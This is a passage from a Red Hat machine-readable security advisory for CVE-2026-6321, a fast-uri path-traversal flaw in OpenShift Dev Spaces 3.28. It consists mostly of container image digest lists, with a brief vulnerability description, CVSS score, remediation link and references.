"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2466582"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in fast-uri. A remote attacker could exploit this vulnerability by providing a specially crafted Uniform Resource Locator (URL) containing percent-encoded path separators and dot segments. Due to incorrect processing, fast-uri would decode these elements before proper normalization, leading to distinct URLs resolving to the same internal path. This could allow an attacker to bypass security policies that rely on path-based comparisons, potentially gaining unauthorized access to resources.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "fast-uri: fast-uri: Path traversal vulnerability allows bypass of security policies",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64"
],
"known_not_affected": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-6321"
},
{
"category": "external",
"summary": "RHBZ#2466582",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466582"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-6321",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6321"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-6321",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6321"
},
{
"category": "external",
"summary": "https://cna.openjsf.org/security-advisories.html",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"category": "external",
"summary": "https://github.com/fastify/fast-uri/security/advisories/GHSA-q3j6-qgpj-74h6",
"url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-q3j6-qgpj-74h6"
}
],
"release_date": "2026-05-04T19:31:57.253000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T19:42:14+00:00",
"details": "Before applying this update, make sure all previously released errata relevant to your system have been applied.\nFor details on how to apply this update, refer to:\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:25123"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
